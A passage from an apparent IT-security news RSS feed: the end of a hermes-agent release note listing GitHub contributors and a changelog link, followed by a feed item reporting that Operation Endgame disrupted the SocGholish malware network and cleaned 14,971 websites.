<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dusterbloom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dusterbloom">@dusterbloom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ehz0ah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ehz0ah">@ehz0ah</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/enesilhaydin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/enesilhaydin">@enesilhaydin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Evisolpxe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Evisolpxe">@Evisolpxe</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/firefly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firefly">@firefly</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flyinhigh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flyinhigh">@flyinhigh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/foras910521-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/foras910521-lab">@foras910521-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ft-ioxcs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ft-ioxcs">@ft-ioxcs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fyzanshaik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fyzanshaik">@fyzanshaik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ganesh0690/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ganesh0690">@Ganesh0690</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gauravsaxena1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gauravsaxena1997">@gauravsaxena1997</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giladbau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giladbau">@giladbau</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glesperance/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glesperance">@glesperance</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/goku94123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/goku94123">@goku94123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaozheZhang6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaozheZhang6">@HaozheZhang6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshitAgr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshitAgr">@harshitAgr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hbentel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hbentel">@hbentel</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Hermes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hermes">@Hermes</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangxun375-stack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangxun375-stack">@huangxun375-stack</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ianculling/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ianculling">@ianculling</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, @islam666, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ITheEqualizer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ITheEqualizer">@ITheEqualizer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsflownium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsflownium">@itsflownium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/james47kjv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/james47kjv">@james47kjv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeeves-assistant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeeves-assistant">@jeeves-assistant</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrobodie-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrobodie-glitch">@jeffrobodie-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JezzaHehn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JezzaHehn">@JezzaHehn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jiangkoumo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jiangkoumo">@jiangkoumo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jimjsong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jimjsong">@jimjsong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimStenstrom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimStenstrom">@JimStenstrom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmsunseri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmsunseri">@jmsunseri</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joel611/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joel611">@joel611</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoelJJohnson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoelJJohnson">@JoelJJohnson</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerj123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerj123">@joerj123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johnjacobkenny/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johnjacobkenny">@johnjacobkenny</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jooray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jooray">@jooray</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshuadow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshuadow">@joshuadow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jplew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jplew">@jplew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinbao19/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinbao19">@justinbao19</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Justlrnal4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Justlrnal4">@Justlrnal4</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kamonspecial/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kamonspecial">@kamonspecial</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kdunn926/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kdunn926">@kdunn926</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kenmege/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kenmege">@Kenmege</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kewe63/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kewe63">@Kewe63</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kmccammon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kmccammon">@kmccammon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kristianvast/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kristianvast">@kristianvast</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kyssta-exe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kyssta-exe">@kyssta-exe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/l37525778-coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/l37525778-coder">@l37525778-coder</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leo4226/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leo4226">@leo4226</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Llugaes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Llugaes">@Llugaes</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LoongZhao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LoongZhao">@LoongZhao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lsaether/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lsaether">@lsaether</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m4dni5/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m4dni5">@m4dni5</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/manishbyatroy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/manishbyatroy">@manishbyatroy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MaxFreedomPollard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MaxFreedomPollard">@MaxFreedomPollard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxmilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxmilian">@maxmilian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxtrigify/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxtrigify">@maxtrigify</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mnajafian-nv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mnajafian-nv">@mnajafian-nv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohamedorigami-jpg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohamedorigami-jpg">@mohamedorigami-jpg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mollusk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mollusk">@mollusk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MrDiamondBallz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MrDiamondBallz">@MrDiamondBallz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mssteuer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mssteuer">@mssteuer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mvanhorn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mvanhorn">@mvanhorn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/naqerl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/naqerl">@naqerl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nea74/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nea74">@Nea74</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nepenth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nepenth">@nepenth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nicoloboschi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nicoloboschi">@nicoloboschi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NormallyGaussian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NormallyGaussian">@NormallyGaussian</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmarB97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmarB97">@OmarB97</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omegazheng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omegazheng">@omegazheng</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OndrejDrapalik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OndrejDrapalik">@OndrejDrapalik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oxngon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oxngon">@oxngon</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OYLFLMH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OYLFLMH">@OYLFLMH</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paperclip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paperclip">@paperclip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/paulb26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/paulb26">@paulb26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pengyuyanITYU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pengyuyanITYU">@pengyuyanITYU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PhilipAD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PhilipAD">@PhilipAD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pinguarmy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pinguarmy">@pinguarmy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/plcunha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/plcunha">@plcunha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProgramCaiCai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProgramCaiCai">@ProgramCaiCai</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/psionic73/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/psionic73">@psionic73</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qin-ctx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qin-ctx">@qin-ctx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qingshan89/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qingshan89">@qingshan89</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Que0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Que0x">@Que0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/qWaitCrypto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/qWaitCrypto">@qWaitCrypto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/randomsnowflake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/randomsnowflake">@randomsnowflake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rbrtbn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rbrtbn">@rbrtbn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rio-jeong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rio-jeong">@rio-jeong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rivuza/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rivuza">@Rivuza</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rodboev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rodboev">@rodboev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruangraung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruangraung">@ruangraung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyTsYdUp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyTsYdUp">@RyTsYdUp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sahil-SS9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sahil-SS9">@Sahil-SS9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/salesondemandio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/salesondemandio">@salesondemandio</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanidhyasin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanidhyasin">@sanidhyasin</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sarvesh1327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sarvesh1327">@sarvesh1327</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sdyckjq-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sdyckjq-lab">@sdyckjq-lab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,<br>
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,<br>
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,<br>
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,<br>
@xiaoxinova, @xtymac, @xushibo, @XVVH, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,<br>
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,<br>
@zxcasongs.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.6.5...v2026.6.19">v2026.6.5...v2026.6.19</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Operation Endgame Hits SocGholish Malware Network, 14,971 Websites Cleaned]]></title>
<description><![CDATA[Operation Endgame Hits SocGholish Malware Network after international law enforcement agencies carried out a coordinated operation targeting one of the most significant malware distribution chains linked to cybercrime. Authorities announced the remediation of 14,971 websites infected with SocGhol...]]></description>
<link>https://tsecurity.de/de/3609601/it-security-nachrichten/operation-endgame-hits-socgholish-malware-network-14971-websites-cleaned/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609601/it-security-nachrichten/operation-endgame-hits-socgholish-malware-network-14971-websites-cleaned/</guid>
<pubDate>Fri, 19 Jun 2026 09:22:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
